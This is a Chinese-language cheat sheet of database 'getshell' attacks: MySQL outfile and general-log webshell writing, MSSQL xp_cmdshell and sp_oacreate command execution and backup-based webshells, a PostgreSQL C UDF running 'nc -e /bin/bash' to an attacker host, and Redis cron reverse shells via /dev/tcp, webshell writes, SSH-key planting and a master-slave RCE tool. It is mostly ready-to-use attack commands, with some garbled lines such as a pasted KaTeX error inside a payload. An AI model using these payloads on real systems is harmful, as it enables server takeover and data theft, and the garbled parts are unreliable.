各种数据库的getshell方法

Mysql数据库getshell

1. **直接写入webshell**

   利用条件：root权限 且 secure_file_priv的值为空， 知道网站根路径

```
show global variables like '%secure_file_priv%';查看secure_file_priv的值
#secure_file_priv的值为null则限制mysql,不允许导入导出，为tmp则可以在/tmp/目录下导入导出，无具体值时，表示不对mysql的导入导出做限制
```

   读取语句

```
select * from test into outfile '/tmp/test.txt'
select * from text into dumpfile '/tmp/test.txt'
#outfile对输入的文本会进行格式转换，例如\n,同时可以输出多行;dumpfile会保持数据原有格式，只能输出单行
```

   写入语句

```
select '<php eval($_POST[shell])?>' into outfile 'c:\\shell.php'
select unhex('十六进制字符串') into dumpfile 'd:/web/shell'
```

   创建表写马

```
create table 'mysql'.'shell' ('webshell' text not null);#创建数据表
insert into mysql.shell values('5<?php $eval($_POST[shell]);?>')#向表中插入一句话木马
select 'webshell' from 'shell' into outfile 'c:\\1.php';#查询数据导出webshell
drop table if exit 'shell';#删除表，清理痕迹
```

2. **开启日志写马**

   - **查看genera文件的配置情况**

```
show global variables like "%genera%";
```

   - **开启日志记录**

```
set global general_log='on'
```

   - **日志文件导出指定目录**

```
set global general_log_file = "c:/1.php";
```

- **记录sql语句写马**

```
select '<?php @eval($_POST['test']); ?>'
```

- **关闭记录**

```
set gobal general_log = off;
```

Mssql数据库getshell

xp_cmdshell

1. **执行cmd命令**

```
exec master..xp_cmdshell 'whoami';
```

2. **检查是否使用xp_cmdshell**

```
exec sp_configure;
```

3. **启用xp_cmdshell**

```
exec sp_configure 'show advanced options',1;
--配置生效
RECONFIGURE;
--开启xp_cmdshell
exec sp_configure 'xp_cmdshell',1;
-- 配置生效
RECONFIGURE;
```

4. **关闭xp_cmdshell**

```
exec sp_configure 'show advanced options',1;
--配置生效
RECONFIGURE;
--关闭xp_cmdshell
exec sp_configure 'xp_cmdshell',0;
--配置生效
RECONFIGURE;
```

5. **检查是否存在 `xp_cmdshell` 存储过程**

```
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmds
hell';
--返回 1 为存在，返回 0 为不存在。
```

6. **恢复`xp_cmdshell`（存在`xplog70.dll`时）**

```
exec master..xp_dropextendedproc xp_cmdshell,@dllname='xplog70.dll' declare
@o int;
```

7. **恢复`xp_cmdshell`（不存在`xplog70.dll`时）**

```
--自己传一个xplog70.dll
exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname='C:\绝对路径
\xplog70.dll' declare @o int;
```

8. **删除`xp_cmdshell`**

```
exec master..sp_dropextendedproc xp_cmdshell;
```

9. **写入`webshell` && 远程下载程序**

差异备份

```
IF EXISTS(select table_name from information_schema.tables where table_name=
'temp') drop table temp;
-- 将数据库备份至文件中
backup database db_name to disk = "目标文件路径.bak";
-- 创建临时表
create table test (a image);
-- 写入木马
insert into test(a) values('一句话木马');
-- 重新备份，木马写入文件
backup database db_name to disk = '目标文件路径.asp' with differential,format;
```

日志差异备份

```
-- 查看要创建的临时表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name=
'temp') drop table temp;
-- 将数据库的恢复模式设置为完整模式
alter database db_name set RECOVERY FULL;
-- 创建临时表
create table temp (a image);
-- 备份数据库日志，并写入文件中
backup log db_name to disk = '目标文件绝对路径.bak' with init;
--在临时表中插入木马字符串
insert into temp (a) values ('一句话木马');
-- 将含有木马字符串的日志备份写入文件中
backup log db_name to disk = '目标文件绝对路径.aspx';
```

sp_oacreate

1. **检查OLE Automation Procedures状态**

```
exec sp_configure 'Ole Automation Procedures';
--如果 config_value 和 run_value 都为 0 表示禁用
```

2. **启用 `OLE Automation Procedures`**

```
-- 允许修改高级参数
exec sp_configure 'show advanced options',1;
-- 配置生效
RECONFIGURE;
-- 开启Ole Automation Procedures
exec sp_configure 'Ole Automation Procedures',1;
-- 配置生效
RECONFIGURE;
-- 关闭高级参数
exec sp_configure 'show advanced options',0;
```

3. `wscript.shell`

```
# 声明一个变量
declare @shell int;
# 使用sp_oacreate调用wscript对象
exec sp_oacreate 'wscript.shell',@shell output;
# 使用sp_oamethod调用变量的属性run执行系统命令
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c CMD命令';
```

4. **Shell.Application**

```
declare @o int;
exec sp_oacreate 'Shell.Application', @o out;
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c CMD命
令','c:\windows\system32','','1';
```

sp_makewebtask

1. **恢复xp_makewebtask存储过程**

```
exec sp_configure 'Web Assistant Procedures', 1;
RECONFIGURE;
```

2. **写入文件**

```
exec sp_makewebtask 'C:\test1.php','select 一句话木马';
```

xp_reg*

1. 查看是否开启了 RDP

```
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections'
```

####

2.开启 RDP 端口

```
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
```

3.关闭 RDP

```
EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
```

postgresql

1. **低版本可直接命令执行 < 8.2**

   ```
   select system('id');
   ```

2. **高版本命令执行，需要自己利用UDF进行命令执行**

   ```
   #查看pqsql支持语言
   select * from  pg_language;
   ```

   默认支持C语言扩展

   ```
   #include"postgres.h"
   #include"fmgr.h"
   #include<stdlib.h>
   #ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;
   #endif
   text *exec()
   {
   system("nc -e /bin/bash vpsIPaddress 2333");
   }
   ```

   这个需要在/usr/pgsql-9.6/include/server/目录下执行应为存在postgres.h头部调用的库

udfhack so文件

https://github.com/sqlmapproject/udfhack/tree/master/linux/64/lib_postgresqludf_sys

2、直接写shell

```
php?id=1;create table shell(shell text not null));//创建一个名为shell的表 里面有名为shell的列 列的类型为text 不允许为空
php?id=1;insert into shell values(KaTeX parse error: Can't use function '$' in math mode at position 13: <?php @eval($_POST[cracer]);…); //往shell的表里插入一句话为$<?php@eval(_POST[cracer]php?id=1;copy shell(shell) to '/var/www/html/shell.php';//把shell表里的数据拿出来创建一个文件，要网站的绝对路径 单引号里的为路径
```

Redis

1、未授权访问 反弹shell

```
redis-cli -h ipaddress
set x "\n* * * * * bash -i >& /dev/tcp/vps ip/55555 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
```

写马

```
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET shell "<?php system($_GET['cmd']);?>"
save
```

写密钥

```
利用条件：
    Redis服务使用ROOT账号启动
    服务器开放了SSH服务，而且允许使用密钥登录，即可远程写入一个公钥，直接登录远程服务器
cd /root/.ssh/
创建密钥
ssh-keygen -t rsa
密钥保存为1.txt文件
(echo -e "\n\n"; cat 1.pub; echo -e "\n\n") > 1.txt
将密钥写入redis的1中
cat /root/.ssh/1.txt | redis-cli -h ipaddress -x set 1

config set dir /root/.ssh/
config set dbfilename authorized_keys
save

#结果
  ssh -i /root/.ssh/id_rsa root@ip
```

主从复制rce

下载：git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

make进行编译

git clone https://github.com/Ridter/redis-rce.git

python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so